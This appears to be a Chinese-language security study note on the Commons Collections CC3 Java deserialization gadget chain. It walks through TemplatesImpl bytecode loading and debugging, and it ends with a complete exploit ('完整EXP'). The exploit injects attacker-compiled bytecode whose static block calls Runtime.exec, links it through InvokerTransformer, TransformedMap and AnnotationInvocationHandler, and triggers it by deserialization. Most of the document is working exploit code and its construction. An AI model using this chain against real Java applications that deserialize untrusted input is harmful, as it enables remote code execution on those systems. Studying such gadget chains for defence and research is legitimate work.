CC3

动态加载字节码

动态调用过程

image-20251112202010669

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类

此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

CC3主要是动态加载字节码,会用到defineClass()

进入ClassLoader类中查找defineClass方法

查找到 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类方便我们利用。查找用法

最终在TemplatesImpl.TransletClassLoader中找到了未限制定义域的方法

image-20251117191537719

跟进方法, 再查找defineClass的用法

发现TemplatesImpl.getTransletInstance方法可以调用defineTransletClasses方法

image-20251117193135053

分析一下代码

代码首先是判断_name是否为空,是则返回空,我们肯定不能让他返回空,于是我们要对_name赋值

再检查_class是否为空,是则调用defineTransletClasses方法

跟进defineTransletClasses方法,分析后发现他是可以调用字节码生成类,需要初始化_bytecodes_tfactory参数,生成类这个方法很有用,我们需要,于是不对_class进行初始化

JVM会加载生成类的静态代码块,从而达到执行恶意代码的流程

初始化代码

初始化时发现_bytecodes参数需要传入二维数组,但是defineClass是传入一维数组,我们需要将恶意代码传入到一维数组中再传入二维数组

1
2
3
4
5
6
7
8
9
10
11
12
13
TemplatesImpl templates = new TemplatesImpl();
Class<?> tc=templates.getClass();
Class<?> ct = TemplatesImpl.class;
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");//TemplatesImpl._name设置为aaa
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Test.class"));
//注意这是编译后的字节码,需要去项目target/classes里寻找
byte[][] codes = {code};
bytecodesField.set(templates,codes);//_bytecodes设置为Test.class字节码
templates.newTransformer();//实例化

其中Test.java代码如下

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Test {
static{
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

但是执行时报空指针错误

image-20251117200609888不太好找到错误原因,对判断语句打个断点调试一下

image-20251117200900407

发现idea已经给出错误地方

image-20251117201325610

这里发现_auxClassesnull分析一下上下文

发现要解决报错有两种思路

  1. 不执行else语句
  2. _auxClasses赋值

但是根据if语句,此时_transletIndex初始值是-1,我们需要对它重新赋值,要走if线

就算执行将_auxClasses赋值,循环外if (_transletIndex < 0)的判断也会抛出报错,于是我们要不执行else语句

分析一下判断条件,要求传入的_class的父类是ABSTRACT_TRANSLET

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

于是我们更改Test.java,让它继承AbstractTranslet

更改后的Test.java代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
static{
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

更改后成功弹出计算器

image-20251117203502701

后续仿照CC1进行链子构造,只不过要执行的是templatesnewTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] transformers = new Transformer[]{//调用newTransformer.transform方法
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","key");

Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<?> tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");//TemplatesImpl._name设置为aaa
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("path\\to\\evilCode.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);//_bytecodes设置为Test.class字节码

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());//将TemplatesImpl._tfactory设置为TransformerFactoryImpl

Transformer[] transformers = new Transformer[]{//调用newTransformer.transform方法
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","key");

Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);

Serialize(o);
Unserialize("ser.bin");


}




public static void Serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}

public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();

}
}